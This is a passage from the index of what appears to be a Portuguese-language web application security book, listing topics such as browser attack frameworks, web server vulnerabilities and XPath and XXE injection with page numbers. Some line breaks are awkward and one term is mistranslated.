navegador; Firefox; Internet
Explorer
atacantes, 559-568
histórico de navegação, 552
bugs, 563
recursos, 5-6
Reenvio de DNS, 563-564
estruturas de exploração,
564-566
BeEF, 565-566
Shell XSS, 566
kit de ferramentas do hacker, 748-
750
Cromado, 750
Firefox, 749-750
IE, 748-749
suítes de teste integradas,
interceptando proxies,
configurando, 752-755
Filtros XSS, 479-481
contêiner da Web, Java, 53
funcionalidade da Web
no lado do cliente, 57-65
Ajax, 62-63, 384
tecnologias de
extensão de
navegador, 65
CSS, 60-61
DOM, 62
formulários, 58-60
HTML, 58
HTML5, 64-65
hiperlinks, 58
JavaScript, 61
JSON, 63
política de mesma origem, 64
VBScript, 61
no lado do servidor, 51-57, 103, 106-
110
ASP.NET, 54, 103
Java, 53-54
PHP, 54-55
Ruby on Rails, 55 SQL,
55-56
serviços da web, 56-57
XML, 56
sessões, 66
informações sobre o estado, 66
servidores da web, 669-670
CMS, 92
segurança de
configuração,
684
vulnerabilidades, 670-684
conteúdo padrão, 92, 671-677
funcionalidade de depuração,
671-672
metodologia do hacker, 847
JMX, 674-676
funções poderosas, 673-674
funcionalidade de amostra, 672-
673
credenciais padrão, 670-671
metodologia do hacker, 846
listagem de diretórios, 677-679
Allaire JRun, 690-691
falhas, 694
metodologia do hacker, 846-849
métodos HTTP perigosos,
847
conteúdo padrão, 847
credenciais padrão, 846 bugs
de software nativo, 848
funcionalidade do servidor
proxy,
847
hospedagem virtual, 847-848
WAFs, 848-849
aproveitamento da descoberta de
conteúdo oculto, 91-93
Servidor de aplicativos JBoss, 674-
676
hospedagem virtual mal
configurada, 683
Oracle, 676-677
como servidores proxy,
682-683 software
Allaire JRun, 690-691
Apple iDisk Server, 690
defesa em profundidade,
696-697 codificação e
canonização, 689-694
JVM, 690
gerenciamento de memória,
687-689
Vulnerabilidades de passagem de
caminho do Microsoft IIS,
691-692
Desvio do filtro da lista de
exclusão do Oracle
PL/SQL, 692-694
recursos, 694
Ruby WEBrick, 690
segurança, 695-697
reforço de segurança, 695-696
patches de fornecedores, 695
vulnerabilidades, 684-697
vulnerabilidades, 91-92
WAFs, 697-698
Métodos WebDAV, 679-681
serviços da web, 56-57
Linguagem de descrição de
serviços da Web (WSDL), 57
spidering da web, 74-77
autenticação, 76 conjuntos
de testes integrados,
760-762
spidering direcionado ao
usuário em comparação
com, 79
armazenamento na web
computação em nuvem, 665
metodologia do hacker,
autenticação insegura, 811
Criação e controle de versão
distribuída com base na
Web (WebDAV)
transbordamentos, 689
métodos de servidor da Web, 679-
681 WebDAV. *Consulte* Baseado na
Web
Criação e controle de versão
distribuídos
WEBrick, Ruby, 690
sites
Criado por um atacante, 448-449
evolução, 51
segurança e evolução da, 2
arquivo `web.xml`, 716-717
Wget, 788

Cláusula `WHERE`
Declarações `DELETE`, 297-298
Instruções `INSERT`, 295
Instruções `SELECT`, 321
Instruções `UPDATE`, 296-297
revisão de código de caixa branca, 702-703 filtros baseados em listas brancas, 24
wiki, técnicas de força bruta para senhas em, 424
Wikto, conteúdo oculto, 92-93
Vulnerabilidades de passagem de caminho do Windows e do UNIX em comparação com, 374
Windows Communication Foundation (WCF), 138
Winter-Smith, Peter, 640
Wireshark, 236
Witko, 785
World Wide Web. *Consulte também* protocolo de transferência de hipertexto; funcionalidade da Web
evolução, 2-3, 15 tecnologias superextendidas em, 11-12
WSDL. *Consulte* Linguagem de descrição de serviços da Web

X

Arquivos `.xap`, 141
Cabeçalho `X-Frame-Options`, 515
XHTML, 58
XML. *Consulte* Extensible Markup Language (Linguagem de marcação extensível)
Injeção de entidade externa XML (injeção XXE), 384-386
metodologia do hacker, 841
Linguagem de caminho XML (XPath)
função `count()`, 348
injeção, 344-349
cego, 347-348
falhas, 348-349
metodologia do hacker, 840-841
informado, 346-347
prevenção, 349
palavras-chave, 346
função `string-length()`, 348
subvertendo a lógica de aplicativos da web, 345-346
`XMLHttpRequest`, 62-63, 476, 524
atacantes, 529
solicitações entre domínios, 528-529
XPath. *Consulte* linguagem de caminho XML XSS. *Consulte* cross-site scripting XSS Shell, 566
Injeção de XXE. *Consulte* Injeção de entidade externa XML

Z

Extensão `.zip`, 141